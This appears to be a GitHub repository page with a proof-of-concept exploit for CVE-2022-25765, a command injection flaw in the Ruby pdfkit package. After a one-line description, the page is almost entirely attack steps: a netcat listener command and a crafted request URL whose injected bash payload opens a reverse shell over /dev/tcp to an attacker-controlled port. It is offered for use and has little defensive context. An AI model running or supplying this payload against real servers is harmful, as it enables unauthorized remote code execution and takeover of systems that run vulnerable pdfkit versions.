lekosbelas / PDFkit-CMD-Injection

CVE-2022-25765 pdfkit 0.8.6 command injection.

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

PDFkit-CMD-Injection

CVE-2022-25765 Detail

Description

The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.

PoC

Start a HTTP server

1- python3 -m http.server 80

Start a netcat listener

2- nc -lnvp 'Target Port'

Make a request

3- http://"TARGET_ADDRESS:Target PORT"//?name=#{'%20`bash -c 'exec bash -i &>/dev/tcp/"Target_ADRESS/LISTENING_PORT"<&1'`'}

About

CVE-2022-25765 pdfkit 0.8.6 command injection.